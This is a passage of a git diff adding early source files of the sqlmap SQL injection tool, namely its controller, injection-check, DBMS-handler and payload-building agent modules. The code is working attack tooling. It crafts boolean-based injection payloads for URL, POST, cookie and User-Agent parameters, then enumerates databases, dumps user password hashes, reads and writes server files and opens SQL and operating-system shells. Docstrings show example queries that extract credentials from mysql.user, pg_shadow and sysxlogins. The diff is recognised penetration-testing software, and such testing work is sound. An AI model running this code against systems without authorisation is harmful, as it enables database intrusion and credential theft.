__init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/controller/action.py b/lib/controller/action.py new file mode 100644 index 000000000..e5f4487ef --- /dev/null +++ b/lib/controller/action.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python + +""" +$Id: action.py 293 2008-07-28 21:56:52Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.controller.handler import setHandler +from lib.core.common import getHtmlErrorFp +from lib.core.data import conf +from lib.core.data import kb +from lib.core.dump import dumper +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.settings import SUPPORTED_DBMS +from lib.techniques.inband.union.test import unionTest + + +def action(): + """ + This function exploit the SQL injection on the affected + url parameter and extract requested data from the + back-end database management system or operating system + if possible + """ + + # First of all we have to identify the back-end database management + # system to be able to go ahead with the injection + conf.dbmsHandler = setHandler() + + if not conf.dbmsHandler: + htmlParsed = getHtmlErrorFp() + + errMsg = "sqlmap was not able to fingerprint the " + errMsg += "back-end database management system" + + if htmlParsed: + errMsg += ", but from the HTML error page it was " + errMsg += "possible to determinate that the " + errMsg += "back-end DBMS is %s" % htmlParsed + + if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS: + errMsg += ". Do not specify the back-end DBMS manually, " + errMsg += "sqlmap will fingerprint the DBMS for you" + else: + errMsg += ". Support for this DBMS will be implemented if " + errMsg += "you ask, just drop us an email" + + raise sqlmapUnsupportedDBMSException, errMsg + + print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint() + + # Miscellaneous options + if conf.unionTest: + dumper.string("valid union", unionTest()) + + # Enumeration options + if conf.getBanner: + dumper.string("banner", conf.dbmsHandler.getBanner()) + + if conf.getCurrentUser: + dumper.string("current user", conf.dbmsHandler.getCurrentUser()) + + if conf.getCurrentDb: + dumper.string("current database", conf.dbmsHandler.getCurrentDb()) + + if conf.getUsers: + dumper.lister("database management system users", conf.dbmsHandler.getUsers()) + + if conf.getPasswordHashes: + dumper.userSettings("database management system users password hashes", + conf.dbmsHandler.getPasswordHashes(), "password hash") + + if conf.getPrivileges: + dumper.userSettings("database management system users privileges", + conf.dbmsHandler.getPrivileges(), "privilege") + + if conf.getDbs: + dumper.lister("available databases", conf.dbmsHandler.getDbs()) + + if conf.getTables: + dumper.dbTables(conf.dbmsHandler.getTables()) + + if conf.getColumns: + dumper.dbTableColumns(conf.dbmsHandler.getColumns()) + + if conf.dumpTable: + dumper.dbTableValues(conf.dbmsHandler.dumpTable()) + + if conf.dumpAll: + conf.dbmsHandler.dumpAll() + + if conf.query: + dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query)) + + if conf.sqlShell: + conf.dbmsHandler.sqlShell() + + # File system options + if conf.rFile: + dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile)) + + if conf.wFile: + dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile)) + + # Takeover options + if conf.osShell: + conf.dbmsHandler.osShell() diff --git a/lib/controller/checks.py b/lib/controller/checks.py new file mode 100644 index 000000000..bedab1f69 --- /dev/null +++ b/lib/controller/checks.py @@ -0,0 +1,318 @@ +#!/usr/bin/env python + +""" +$Id: checks.py 357 2008-09-21 18:52:16Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import time + +from lib.controller.action import action +from lib.core.agent import agent +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapConnectionException +from lib.core.session import setString +from lib.request.connect import Connect as Request + + +def checkSqlInjection(place, parameter, value, parenthesis): + """ + This function checks if the GET, POST, Cookie, User-Agent + parameters are affected by a SQL injection vulnerability and + identifies the type of SQL injection: + + * Unescaped numeric injection + * Single quoted string injection + * Double quoted string injection + """ + + logMsg = "testing unescaped numeric injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + randInt = randomInt() + randStr = randomStr() + + payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming unescaped numeric injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "unescaped numeric injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "numeric" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "unescaped numeric injectable" + logger.info(logMsg) + + logMsg = "testing single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "single quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "stringsingle" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "single quoted string injectable" + logger.info(logMsg) + + logMsg = "testing LIKE single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming LIKE single quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "LIKE single quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "likesingle" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "LIKE single quoted string injectable" + logger.info(logMsg) + + logMsg = "testing double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "double quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "stringdouble" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "double quoted string injectable" + logger.info(logMsg) + + logMsg = "testing LIKE double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) + trueResult = Request.queryPage(payload, place) + + if trueResult == kb.defaultResult: + payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "confirming LIKE double quoted string injection " + logMsg += "on %s parameter '%s'" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) + falseResult = Request.queryPage(payload, place) + + if falseResult != kb.defaultResult: + logMsg = "%s parameter '%s' is " % (place, parameter) + logMsg += "LIKE double quoted string injectable " + logMsg += "with %d parenthesis" % parenthesis + logger.info(logMsg) + + return "likedouble" + + logMsg = "%s parameter '%s' is not " % (place, parameter) + logMsg += "LIKE double quoted string injectable" + logger.info(logMsg) + + return None + + +def checkDynParam(place, parameter, value): + """ + This function checks if the url parameter is dynamic. If it is + dynamic, the content of the page differs, otherwise the + dynamicity might depend on another parameter. + """ + + logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) + logger.info(logMsg) + + randInt = randomInt() + payload = agent.payload(place, parameter, value, str(randInt)) + dynResult1 = Request.queryPage(payload, place) + + if kb.defaultResult == dynResult1: + return False + + logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) + logger.info(logMsg) + + payload = agent.payload(place, parameter, value, "'%s" % randomStr()) + dynResult2 = Request.queryPage(payload, place) + + payload = agent.payload(place, parameter, value, "\"%s" % randomStr()) + dynResult3 = Request.queryPage(payload, place) + + condition = kb.defaultResult != dynResult2 + condition |= kb.defaultResult != dynResult3 + + return condition + + +def checkStability(): + """ + This function checks if the URL content is stable requesting the + same page three times with a small delay within each request to + assume that it is stable. + + In case the content of the page differs when requesting + the same page, the dynamicity might depend on other parameters, + like for instance string matching (--string). + """ + + logMsg = "testing if the url is stable, wait a few seconds" + logger.info(logMsg) + + firstResult = Request.queryPage() + time.sleep(0.5) + + secondResult = Request.queryPage() + time.sleep(0.5) + + thirdResult = Request.queryPage() + + condition = firstResult == secondResult + condition &= secondResult == thirdResult + + return condition + + +def checkString(): + if not conf.string: + return True + + condition = ( + kb.resumedQueries.has_key(conf.url) and + kb.resumedQueries[conf.url].has_key("String") and + kb.resumedQueries[conf.url]["String"][:-1] == conf.string + ) + + if condition: + return True + + logMsg = "testing if the provided string is within the " + logMsg += "target URL page content" + logger.info(logMsg) + + page = Request.queryPage(content=True) + + if conf.string in page: + setString() + return True + else: + errMsg = "you provided '%s' as the string to " % conf.string + errMsg += "match, but such a string is not within the target " + errMsg += "URL page content, please provide another string." + logger.error(errMsg) + + return False + + +def checkConnection(): + logMsg = "testing connection to the target url" + logger.info(logMsg) + + try: + kb.defaultResult = Request.queryPage() + except sqlmapConnectionException, exceptionMsg: + if conf.googleDork: + exceptionMsg += ", skipping to next url" + logger.warn(exceptionMsg) + return False + else: + raise sqlmapConnectionException, exceptionMsg + + return True diff --git a/lib/controller/controller.py b/lib/controller/controller.py new file mode 100644 index 000000000..cbcf87d68 --- /dev/null +++ b/lib/controller/controller.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python + +""" +$Id: controller.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.controller.action import action +from lib.controller.checks import checkSqlInjection +from lib.controller.checks import checkDynParam +from lib.controller.checks import checkStability +from lib.controller.checks import checkString +from lib.controller.checks import checkConnection +from lib.core.common import paramToDict +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapConnectionException +from lib.core.exception import sqlmapNotVulnerableException +from lib.core.session import setInjection +from lib.core.target import createTargetDirs +from lib.core.target import initTargetEnv +from lib.utils.parenthesis import checkForParenthesis + + +def __selectInjection(injData): + """ + Selection function for injection place, parameters and type. + """ + + message = "there were multiple injection points, please select the " + message += "one to use to go ahead:\n" + + for i in xrange(0, len(injData)): + injPlace = injData[i][0] + injParameter = injData[i][1] + injType = injData[i][2] + + message += "[%d] place: %s, parameter: " % (i, injPlace) + message += "%s, type: %s" % (injParameter, injType) + + if i == 0: + message += " (default)" + + message += "\n" + + message += "[q] Quit\nChoice: " + select = readInput(message, default="0") + + if not select: + index = 0 + + elif select.isdigit() and int(select) < len(injData) and int(select) >= 0: + index = int(select) + + elif select[0] in ( "Q", "q" ): + return "Quit" + + else: + warnMsg = "Invalid choice, retry" + logger.warn(warnMsg) + __selectInjection(injData) + + return injData[index] + + +def start(): + """ + This function calls a function that performs checks on both URL + stability and all GET, POST, Cookie and User-Agent parameters to + check if they are dynamic and SQL injection affected + """ + + if conf.url: + kb.targetUrls.add(conf.url) + + if conf.configFile and not kb.targetUrls: + errMsg = "you did not edit the configuration file properly, set " + errMsg += "the target url properly" + logger.error(errMsg) + + hostCount = 0 + injData = [] + receivedCookies = [] + cookieStr = "" + setCookieAsInjectable = True + + for targetUrl in kb.targetUrls: + if conf.googleDork: + hostCount += 1 + + message = "url %d: %s, " % (hostCount, targetUrl) + message += "do you want to test this url? [Y/n/q] " + test = readInput(message, default="Y") + + if test[0] in ("n", "N"): + continue + elif test[0] in ("q", "Q"): + break + + logMsg = "testing url %s" % targetUrl + logger.info(logMsg) + + conf.url = targetUrl + initTargetEnv() + + if not checkConnection() or not checkString(): + continue + + for _, cookie in enumerate(conf.cj): + cookie = str(cookie) + index = cookie.index(" for ") + + cookieStr += "%s;" % cookie[8:index] + + if cookieStr: + cookieStr = cookieStr[:-1] + + if "Cookie" in conf.parameters: + message = "you provided an HTTP Cookie header value. " + message += "The target url provided its own Cookie within " + message += "the HTTP Set-Cookie header. Do you want to " + message += "continue using the HTTP Cookie values that " + message += "you provided? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + setCookieAsInjectable = False + + if setCookieAsInjectable: + conf.httpHeaders.append(("Cookie", cookieStr)) + conf.parameters["Cookie"] = cookieStr + __paramDict = paramToDict("Cookie", cookieStr) + + if __paramDict: + conf.paramDict["Cookie"] = __paramDict + __testableParameters = True + + if not kb.injPlace or not kb.injParameter or not kb.injType: + if not conf.string: + if checkStability(): + logMsg = "url is stable" + logger.info(logMsg) + else: + errMsg = "url is not stable, try with --string option, refer " + errMsg += "to the user's manual paragraph 'String match' " + errMsg += "for details" + + if conf.googleDork: + errMsg += ", skipping to next url" + logger.warn(errMsg) + + continue + else: + raise sqlmapConnectionException, errMsg + + for place in conf.parameters.keys(): + if not conf.paramDict.has_key(place): + continue + + paramDict = conf.paramDict[place] + + for parameter, value in paramDict.items(): + if not checkDynParam(place, parameter, value): + warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter) + logger.warn(warnMsg) + else: + logMsg = "%s parameter '%s' is dynamic" % (place, parameter) + logger.info(logMsg) + + for parenthesis in range(0, 4): + logMsg = "testing sql injection on %s " % place + logMsg += "parameter '%s' with " % parameter + logMsg += "%d parenthesis" % parenthesis + logger.info(logMsg) + + injType = checkSqlInjection(place, parameter, value, parenthesis) + + if injType: + injData.append((place, parameter, injType)) + + break + else: + warnMsg = "%s parameter '%s' is not " % (place, parameter) + warnMsg += "injectable with %d parenthesis" % parenthesis + logger.warn(warnMsg) + + if not kb.injPlace or not kb.injParameter or not kb.injType: + if len(injData) == 1: + injDataSelected = injData[0] + elif len(injData) > 1: + injDataSelected = __selectInjection(injData) + else: + return + + if injDataSelected == "Quit": + return + else: + kb.injPlace, kb.injParameter, kb.injType = injDataSelected + setInjection() + + if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ): + raise sqlmapNotVulnerableException, "all parameters are not injectable" + elif kb.injPlace and kb.injParameter and kb.injType: + condition = False + + if conf.googleDork: + message = "do you want to exploit this SQL injection? [Y/n] " + exploit = readInput(message, default="Y") + + if not exploit or exploit[0] in ("y", "Y"): + condition = True + else: + condition = True + + if condition: + checkForParenthesis() + createTargetDirs() + action() + + if conf.loggedToOut: + logger.info("Fetched data logged to text files under '%s'" % conf.outputPath) diff --git a/lib/controller/handler.py b/lib/controller/handler.py new file mode 100644 index 000000000..11385d214 --- /dev/null +++ b/lib/controller/handler.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +$Id: handler.py 283 2008-07-25 15:16:11Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.settings import MSSQL_ALIASES +from lib.core.settings import MYSQL_ALIASES +from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import PGSQL_ALIASES + +from plugins.dbms.mssqlserver import MSSQLServerMap +from plugins.dbms.mysql import MySQLMap +from plugins.dbms.oracle import OracleMap +from plugins.dbms.postgresql import PostgreSQLMap + + +def setHandler(): + """ + Detect which is the target web application back-end database + management system. + """ + + count = 0 + dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" ) + dbmsMap = ( + ( MYSQL_ALIASES, MySQLMap ), + ( ORACLE_ALIASES, OracleMap ), + ( PGSQL_ALIASES, PostgreSQLMap ), + ( MSSQL_ALIASES, MSSQLServerMap ), + ) + + for dbmsAliases, dbmsEntry in dbmsMap: + if conf.dbms and conf.dbms not in dbmsAliases: + debugMsg = "skipping to test for %s" % dbmsNames[count] + logger.debug(debugMsg) + count += 1 + continue + + dbmsHandler = dbmsEntry() + + if dbmsHandler.checkDbms(): + if not conf.dbms or conf.dbms in dbmsAliases: + kb.dbmsDetected = True + + return dbmsHandler + + return None diff --git a/lib/core/__init__.py b/lib/core/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/core/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/core/agent.py b/lib/core/agent.py new file mode 100644 index 000000000..c056099c2 --- /dev/null +++ b/lib/core/agent.py @@ -0,0 +1,385 @@ +#!/usr/bin/env python + +""" +$Id: agent.py 357 2008-09-21 18:52:16Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import queries +from lib.core.data import temp +from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import sqlmapUnsupportedDBMSException + + +class Agent: + """ + This class defines the SQL agent methods. + """ + + def __init__(self): + temp.delimiter = randomStr(6) + temp.start = randomStr(6) + temp.stop = randomStr(6) + + + def payload(self, place=None, parameter=None, value=None, newValue=None): + """ + This method replaces the affected parameter with the SQL + injection statement to request + """ + + retValue = "" + + # After identifing the injectable parameter + if kb.injPlace == "User-Agent": + retValue = kb.injParameter.replace(kb.injParameter, + kb.injParameter + newValue) + elif kb.injParameter: + paramString = conf.parameters[kb.injPlace] + paramDict = conf.paramDict[kb.injPlace] + value = paramDict[kb.injParameter] + retValue = paramString.replace("%s=%s" % (kb.injParameter, value), + "%s=%s" % (kb.injParameter, value + newValue)) + + # Before identifing the injectable parameter + elif parameter == "User-Agent": + retValue = value.replace(value, newValue) + else: + paramString = conf.parameters[place] + retValue = paramString.replace("%s=%s" % (parameter, value), + "%s=%s" % (parameter, newValue)) + + return retValue + + + def prefixQuery(self, string): + """ + This method defines how the input string has to be escaped + to perform the injection depending on the injection type + identified as valid + """ + + query = "" + + if kb.injType == "numeric": + pass + elif kb.injType in ( "stringsingle", "likesingle" ): + query = "'" + elif kb.injType in ( "stringdouble", "likedouble" ): + query = "\"" + else: + raise sqlmapNoneDataException, "unsupported injection type" + + if kb.parenthesis != None: + query += "%s " % (")" * kb.parenthesis) + + query += string + + return query + + + def postfixQuery(self, string, comment=None): + """ + This method appends the DBMS comment to the + SQL injection request + """ + + randInt = randomInt() + randStr = randomStr() + + if comment: + string += "%s" % comment + + if kb.parenthesis != None: + string += " AND %s" % ("(" * kb.parenthesis) + else: + raise sqlmapNoneDataException, "unable to get the number of parenthesis" + + if kb.injType == "numeric": + string += "%d=%d" % (randInt, randInt) + elif kb.injType == "stringsingle": + string += "'%s'='%s" % (randStr, randStr) + elif kb.injType == "likesingle": + string += "'%s' LIKE '%s" % (randStr, randStr) + elif kb.injType == "stringdouble": + string += "\"%s\"=\"%s" % (randStr, randStr) + elif kb.injType == "likedouble": + string += "\"%s\" LIKE \"%s" % (randStr, randStr) + else: + raise sqlmapNoneDataException, "unsupported injection type" + + return string + + + def nullAndCastField(self, field): + """ + Take in input a field string and return its processed nulled and + casted field string. + + Examples: + + MySQL input: VERSION() + MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ') + MySQL scope: VERSION() + + PostgreSQL input: VERSION() + PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ') + PostgreSQL scope: VERSION() + + Oracle input: banner + Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ') + Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1 + + Microsoft SQL Server input: @@VERSION + Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ') + Microsoft SQL Server scope: @@VERSION + + @param field: field string to be processed + @type field: C{str} + + @return: field string nulled and casted + @rtype: C{str} + """ + + nulledCastedField = queries[kb.dbms].cast % field + nulledCastedField = queries[kb.dbms].isnull % nulledCastedField + + return nulledCastedField + + + def nullCastConcatFields(self, fields): + """ + Take in input a sequence of fields string and return its processed + nulled, casted and concatenated fields string. + + Examples: + + MySQL input: user,password + MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ') + MySQL scope: SELECT user, password FROM mysql.user + + PostgreSQL input: usename,passwd + PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ') + PostgreSQL scope: SELECT usename, passwd FROM pg_shadow + + Oracle input: COLUMN_NAME,DATA_TYPE + Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ') + Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' + + Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password) + Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') + Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins + + @param fields: fields string to be processed + @type fields: C{str} + + @return: fields string nulled, casted and concatened + @rtype: C{str} + """ + + if not kb.dbmsDetected: + return fields + + fields = fields.replace(", ", ",") + fieldsSplitted = fields.split(",") + dbmsDelimiter = queries[kb.dbms].delimiter + nulledCastedFields = [] + + for field in fieldsSplitted: + nulledCastedFields.append(self.nullAndCastField(field)) + + delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter) + nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields]) + + return nulledCastedConcatFields + + + def getFields(self, query): + fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) + fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) + fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) + fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I) + fieldsNoSelect = query + + if fieldsSelectTop: + fieldsToCast = fieldsSelectTop.groups()[0] + elif fieldsSelectDistinct: + fieldsToCast = fieldsSelectDistinct.groups()[0] + elif fieldsSelectFrom: + fieldsToCast = fieldsSelectFrom.groups()[0] + elif fieldsSelect: + fieldsToCast = fieldsSelect.groups()[0] + elif fieldsNoSelect: + fieldsToCast = fieldsNoSelect + + return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast + + + def concatQuery(self, query): + """ + Take in input a query string and return its processed nulled, + casted and concatenated query string. + + Examples: + + MySQL input: SELECT user, password FROM mysql.user + MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user + + PostgreSQL input: SELECT usename, passwd FROM pg_shadow + PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd 